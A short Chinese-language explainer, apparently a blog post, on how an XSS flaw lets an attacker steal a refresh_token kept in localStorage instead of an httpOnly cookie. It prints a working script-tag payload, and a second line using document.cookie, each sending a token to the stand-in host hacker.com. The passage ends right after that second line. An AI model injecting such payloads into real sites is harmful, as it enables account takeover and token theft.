xss 攻击一个没有使用 httpOnly refresh_token 的过程

如果没有使用这个,会有缺陷

🕐

先假设你的系统有一个 XSS 漏洞

  1. 你的网站有个评论 / 个人简介功能
  2. 后端没过滤,直接把用户输入渲染到页面
  3. 黑客写下这段评论:
<script>
fetch('https://hacker.com/steal?token='+localStorage.getItem('refresh_token'))
</script>

攻击流程:

如果你把 refresh_token 存在 localStorage(无 httpOnly)

  1. 你登录网站,refresh_token 存在 localStorage
  2. 你点开黑客那条评论
  3. 浏览器自动执行黑客的 JS
  4. JS 直接读取:

 

localStorage.getItem('refresh_token')
  1. 发送到黑客服务器
  2. 黑客拿到 refresh_token

后果

  • 黑客用你的 refresh_token → 无限刷新 access_token
  • 黑客永久登录你的账号
  • 你改密码都没用(除非后端作废 refresh_token)
  • 你的资金、数据、隐私全部泄露

如果你把 refresh_token 存在 httpOnly Cookie

fetch('https://hacker.com/steal?token='+document.cookie)